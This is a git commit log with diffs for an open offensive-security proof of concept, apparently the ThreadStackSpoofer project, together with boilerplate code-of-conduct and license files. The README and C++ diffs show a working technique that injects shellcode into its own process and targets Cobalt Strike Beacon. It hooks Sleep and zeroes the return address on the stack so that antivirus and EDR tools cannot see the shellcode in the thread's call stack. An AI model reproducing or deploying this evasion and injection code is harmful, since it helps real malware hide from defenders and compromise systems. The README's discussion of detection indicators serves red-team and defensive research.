11 Commits

Author SHA1 Message Date
Mariusz Banach f67caea38a Merge pull request #3 from mgeeky/add-code-of-conduct-1
Create CODE_OF_CONDUCT.md
2022-06-17 20:06:35 +02:00
Mariusz Banach 763f4bea2e Create CODE_OF_CONDUCT.md 2022-06-17 20:06:26 +02:00
Mariusz B. / mgeeky fce3a52d15 Added MIT License. 2021-10-19 11:10:25 +02:00
Mariusz B. / mgeeky 37490f57f5 update 2021-10-03 02:30:08 +02:00
Mariusz B. / mgeeky 59fbc055c4 update 2021-10-02 13:14:30 +02:00
Mariusz B. / mgeeky 859aa0e4e1 update 2021-10-01 21:34:41 +02:00
Mariusz B. / mgeeky adfdcf674d update 2021-10-01 21:33:26 +02:00
Mariusz B. / mgeeky 404bb2f896 update 2021-10-01 19:41:05 +02:00
Mariusz B. / mgeeky c3613586af update 2021-10-01 19:39:19 +02:00
Mariusz B. / mgeeky 3d7fbcd18d readme 2021-10-01 19:34:14 +02:00
Mariusz B. / mgeeky 11e78b4855 readme 2021-10-01 19:18:07 +02:00
5 changed files with 204 additions and 34 deletions
+128
View File
@@ -0,0 +1,128 @@
# Contributor Covenant Code of Conduct
## Our Pledge
We as members, contributors, and leaders pledge to make participation in our
community a harassment-free experience for everyone, regardless of age, body
size, visible or invisible disability, ethnicity, sex characteristics, gender
identity and expression, level of experience, education, socio-economic status,
nationality, personal appearance, race, religion, or sexual identity
and orientation.
We pledge to act and interact in ways that contribute to an open, welcoming,
diverse, inclusive, and healthy community.
## Our Standards
Examples of behavior that contributes to a positive environment for our
community include:
* Demonstrating empathy and kindness toward other people
* Being respectful of differing opinions, viewpoints, and experiences
* Giving and gracefully accepting constructive feedback
* Accepting responsibility and apologizing to those affected by our mistakes,
and learning from the experience
* Focusing on what is best not just for us as individuals, but for the
overall community
Examples of unacceptable behavior include:
* The use of sexualized language or imagery, and sexual attention or
advances of any kind
* Trolling, insulting or derogatory comments, and personal or political attacks
* Public or private harassment
* Publishing others' private information, such as a physical or email
address, without their explicit permission
* Other conduct which could reasonably be considered inappropriate in a
professional setting
## Enforcement Responsibilities
Community leaders are responsible for clarifying and enforcing our standards of
acceptable behavior and will take appropriate and fair corrective action in
response to any behavior that they deem inappropriate, threatening, offensive,
or harmful.
Community leaders have the right and responsibility to remove, edit, or reject
comments, commits, code, wiki edits, issues, and other contributions that are
not aligned to this Code of Conduct, and will communicate reasons for moderation
decisions when appropriate.
## Scope
This Code of Conduct applies within all community spaces, and also applies when
an individual is officially representing the community in public spaces.
Examples of representing our community include using an official e-mail address,
posting via an official social media account, or acting as an appointed
representative at an online or offline event.
## Enforcement
Instances of abusive, harassing, or otherwise unacceptable behavior may be
reported to the community leaders responsible for enforcement at
Mariusz Banach (mgeeky, @mariuszbit, mb@binary-offensive.com).
All complaints will be reviewed and investigated promptly and fairly.
All community leaders are obligated to respect the privacy and security of the
reporter of any incident.
## Enforcement Guidelines
Community leaders will follow these Community Impact Guidelines in determining
the consequences for any action they deem in violation of this Code of Conduct:
### 1. Correction
**Community Impact**: Use of inappropriate language or other behavior deemed
unprofessional or unwelcome in the community.
**Consequence**: A private, written warning from community leaders, providing
clarity around the nature of the violation and an explanation of why the
behavior was inappropriate. A public apology may be requested.
### 2. Warning
**Community Impact**: A violation through a single incident or series
of actions.
**Consequence**: A warning with consequences for continued behavior. No
interaction with the people involved, including unsolicited interaction with
those enforcing the Code of Conduct, for a specified period of time. This
includes avoiding interactions in community spaces as well as external channels
like social media. Violating these terms may lead to a temporary or
permanent ban.
### 3. Temporary Ban
**Community Impact**: A serious violation of community standards, including
sustained inappropriate behavior.
**Consequence**: A temporary ban from any sort of interaction or public
communication with the community for a specified period of time. No public or
private interaction with the people involved, including unsolicited interaction
with those enforcing the Code of Conduct, is allowed during this period.
Violating these terms may lead to a permanent ban.
### 4. Permanent Ban
**Community Impact**: Demonstrating a pattern of violation of community
standards, including sustained inappropriate behavior, harassment of an
individual, or aggression toward or disparagement of classes of individuals.
**Consequence**: A permanent ban from any sort of public interaction within
the community.
## Attribution
This Code of Conduct is adapted from the [Contributor Covenant][homepage],
version 2.0, available at
https://www.contributor-covenant.org/version/2/0/code_of_conduct.html.
Community Impact Guidelines were inspired by [Mozilla's code of conduct
enforcement ladder](https://github.com/mozilla/diversity).
[homepage]: https://www.contributor-covenant.org
For answers to common questions about this code of conduct, see the FAQ at
https://www.contributor-covenant.org/faq. Translations are available at
https://www.contributor-covenant.org/translations.
+21
View File
@@ -0,0 +1,21 @@
MIT License
Copyright (c) 2021 Mariusz Banach (mgeeky, <mb [at] binary-offensive.com>)
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
+18 -18
View File
@@ -5,22 +5,22 @@ A PoC implementation for an advanced in-memory evasion technique that spoofs Thr
## Intro
This is an example implementation for _Thread Stack Spoofing_ technique aiming to evade Malware Analysts, AVs and EDRs looking for references to shellcode's frames in an examined thread's call stack.
The idea is to walk back thread's call stack and overwrite return addresses in subsequent function frames thus masquerading allocations containing malware's code.
An implementation may differ, however the idea is roughly similar to what commercial C2 frameworks offer for its agents.
The idea is to hide references to the shellcode on thread's call stack thus masquerading allocations containing malware's code.
Implementation along with my [ShellcodeFluctuation](https://github.com/mgeeky/ShellcodeFluctuation) brings Offensive Security community sample implementations to catch up on the offering made by commercial C2 products, so that we can do no worse in our Red Team toolings. 💪
### Implementation has changed
Current implementation differs heavily to what was originally published. This is because I realised that there is a way simpler approach to terminate thread's call stack and hide shellcode's related frames by simply writing `0` to the return address of our handler:
Current implementation differs heavily to what was originally published.
This is because I realised there is a way simpler approach to terminate thread's call stack processal and hide shellcode's related frames by simply writing `0` to the return address of the first frame we control:
```
void WINAPI MySleep(DWORD _dwMilliseconds)
{
[...]
PULONG_PTR overwrite = (PULONG_PTR)_AddressOfReturnAddress();
auto overwrite = (PULONG_PTR)_AddressOfReturnAddress();
const auto origReturnAddress = *overwrite;
*overwrite = 0;
[...]
@@ -30,6 +30,8 @@ void WINAPI MySleep(DWORD _dwMilliseconds)
The previous implementation, utilising `StackWalk64` can be accessed in this [commit c250724](https://github.com/mgeeky/ThreadStackSpoofer/tree/c2507248723d167fb2feddf50d35435a17fd61a2).
This implementation is much more stable and works nicely on both `Debug` and `Release` under two architectures - `x64` and `x86`.
## Demo
@@ -41,40 +43,38 @@ This in turn, when thread stack spoofing is enabled:
![spoofed](images/spoofed2.png)
Above we can see that the last frame on our call stack is our `MySleep` callback. That immediately brings opportunities for IOCs hunting for threads having call stacks not unwinding into following two commonly expected system entry points:
Above we can see that the last frame on our call stack is our `MySleep` callback.
One can wonder does it immediately brings opportunities new IOCs? Hunting rules can look for threads having call stacks not unwinding into following expected thread entry points located within system libraries:
```
kernel32!BaseThreadInitThunk+0x14
ntdll!RtlUserThreadStart+0x21
```
However a brief examination of my system shown, that there are plenty of threads having call stacks not unwinding to the above handlers:
However the call stack of the spoofed thread may look rather odd at first, a brief examination of my system shown, that there are other threads not unwinding to the above entry points as well:
![legit call stack](images/legit-call-stack.png)
The above screenshot shows unmodified, unhooked, thread of Total Commander x64.
The above screenshot shows a thread of unmodified **Total Commander x64**. As we can see, its call stack pretty much resembles our own in terms of initial call stack frames.
Why should we care about carefully faking our call stack when there are processes exhibiting traits that we can simply mimic?
Why should we care about carefully faking our call stack when there are processes exhibiting traits that we can simply mimic?
## How it works?
This program performs self-injection shellcode (roughly via classic `VirtualAlloc` + `memcpy` + `CreateThread`).
Then when shellcode runs (this implementation specifically targets Cobalt Strike Beacon implants) a Windows function will be hooked intercepting moment when Beacon falls asleep `kernel32!Sleep`.
Whenever hooked `MySleep` function gets invoked, it will spoof its own call stack leading to this `MySleep` function and begin sleeping.
Having awaited for expected amount of time, the Thread's call stack will get restored assuring stable return and shellcode's execution resumption.
The rough algorithm is following:
1. Read shellcode's contents from file.
2. Acquire all the necessary function pointers from `dbghelp.dll`, call `SymInitialize`
3. Hook `kernel32!Sleep` pointing back to our callback.
4. Inject and launch shellcode via `VirtualAlloc` + `memcpy` + `CreateThread`. A slight twist here is that our thread starts from a legitimate `ntdll!RltUserThreadStart+0x21` address to mimic other threads
4. Inject and launch shellcode via `VirtualAlloc` + `memcpy` + `CreateThread`. The thread should start from our `runShellcode` function to avoid having Thread's _StartAddress_ point into somewhere unexpected and anomalous (such as `ntdll!RtlUserThreadStart+0x21`)
5. As soon as Beacon attempts to sleep, our `MySleep` callback gets invoked.
6. Overwrite last return address on the stack to `0` which effectively should finish the call stack.
6. We then overwrite last return address on the stack to `0` which effectively should finish the call stack.
7. Finally a call to `::SleepEx` is made to let the Beacon's sleep while waiting for further communication.
8. After Sleep is finished, we restore previously saved original function return addresses and execution is resumed.
Function return addresses are scattered all around the thread's stack memory area, pointed to by `RBP/EBP` register. In order to find them on the stack, we need to firstly collect frame pointers, then dereference them for overwriting:
Function return addresses are scattered all around the thread's stack memory area, pointed to by `RBP/EBP` register.
In order to find them on the stack, we need to firstly collect frame pointers, then dereference them for overwriting:
![stack frame](images/frame0.png)
@@ -84,7 +84,7 @@ _(the above image was borrowed from **Eli Bendersky's** post named [Stack frame
*(PULONG_PTR)(frameAddr + sizeof(void*)) = Fake_Return_Address;
```
This precise logic is provided by `walkCallStack` and `spoofCallStack` functions in `main.cpp`.
Initial implementation of `ThreadStackSpoofer` did that in `walkCallStack` and `spoofCallStack` functions, however the current implementation shows that these efforts _are not required to maintain stealthy call stack_.
## Example run
+6
View File
@@ -10,6 +10,12 @@ typedef void (WINAPI* typeSleep)(
DWORD dwMilis
);
typedef DWORD(NTAPI* typeNtFlushInstructionCache)(
HANDLE ProcessHandle,
PVOID BaseAddress,
ULONG NumberOfBytesToFlush
);
typedef std::unique_ptr<std::remove_pointer<HANDLE>::type, decltype(&::CloseHandle)> HandlePtr;
struct HookedSleep
+31 -16
View File
@@ -5,23 +5,35 @@
HookedSleep g_hookedSleep;
void WINAPI MySleep(DWORD _dwMilliseconds)
void WINAPI MySleep(DWORD dwMilliseconds)
{
const register DWORD dwMilliseconds = _dwMilliseconds;
//
// Locate this stack frame's return address.
//
auto overwrite = (PULONG_PTR)_AddressOfReturnAddress();
const auto origReturnAddress = *overwrite;
// Perform this (current) thread call stack spoofing.
PULONG_PTR overwrite = (PULONG_PTR)_AddressOfReturnAddress();
const register ULONG_PTR origReturnAddress = *overwrite;
log("[>] Original return address: 0x",
std::hex, std::setw(8), std::setfill('0'), origReturnAddress,
". Finishing call stack...");
log("[>] Original return address: 0x", std::hex, std::setw(8), std::setfill('0'), origReturnAddress, ". Finishing call stack...");
//
// By overwriting the return address with 0 we're basically telling call stack unwinding algorithm
// to stop unwinding call stack any further, as there further frames. This we can hide our remaining stack frames
// referencing shellcode memory allocation from residing on a call stack.
//
*overwrite = 0;
log("\n===> MySleep(", std::dec, dwMilliseconds, ")\n");
//
// Perform sleep emulating originally hooked functionality.
//
::SleepEx(dwMilliseconds, false);
//
// Restore original thread's call stack.
//
log("[<] Restoring original return address...");
*overwrite = origReturnAddress;
}
@@ -93,6 +105,17 @@ bool fastTrampoline(bool installHook, BYTE* addressToHook, LPVOID jumpAddress, H
}
}
static typeNtFlushInstructionCache pNtFlushInstructionCache = NULL;
if (!pNtFlushInstructionCache)
pNtFlushInstructionCache = (typeNtFlushInstructionCache)
GetProcAddress(GetModuleHandleA("ntdll"), "NtFlushInstructionCache");
//
// We're flushing instructions cache just in case our hook didn't kick in immediately.
//
if (pNtFlushInstructionCache)
pNtFlushInstructionCache(GetCurrentProcess(), addressToHook, dwSize);
::VirtualProtect(
addressToHook,
dwSize,
@@ -111,7 +134,7 @@ bool hookSleep()
g_hookedSleep.origSleep = reinterpret_cast<typeSleep>(Sleep);
if (!fastTrampoline(true, (BYTE*)::Sleep, &MySleep, &buffers))
if (!fastTrampoline(true, (BYTE*)::Sleep, (void*)&MySleep, &buffers))
return false;
return true;
@@ -178,14 +201,6 @@ bool injectShellcode(std::vector<uint8_t>& shellcode, HandlePtr& thread)
if (!VirtualProtect(alloc, shellcode.size() + 1, Shellcode_Memory_Protection, &old))
return false;
/*
* We're not setting these pointers to let the hooked sleep handler figure them out itself.
*
g_fluctuationData.shellcodeAddr = alloc;
g_fluctuationData.shellcodeSize = shellcode.size();
g_fluctuationData.protect = Shellcode_Memory_Protection;
*/
shellcode.clear();
//
@@ -204,7 +219,7 @@ bool injectShellcode(std::vector<uint8_t>& shellcode, HandlePtr& thread)
// running our shellcode from a legitimate user thread callback, we can simply run a thread pointing to our
// method and we'll instead jump to the shellcode from that method.
//
// After discussion I had with @waldoirc we came to the conclusion that in order not to bring other IOCs it is better
// After discussion I had with @waldoirc we came to the conclusion that in order not to bring new IOCs it is better
// to start shellcode from within EXE's own code space, thus avoiding detections based on `ntdll!RtlUserThreadStart+0x21`
// being an outstanding anomaly in some environments. Shout out to @waldoirc for our really long discussion!
//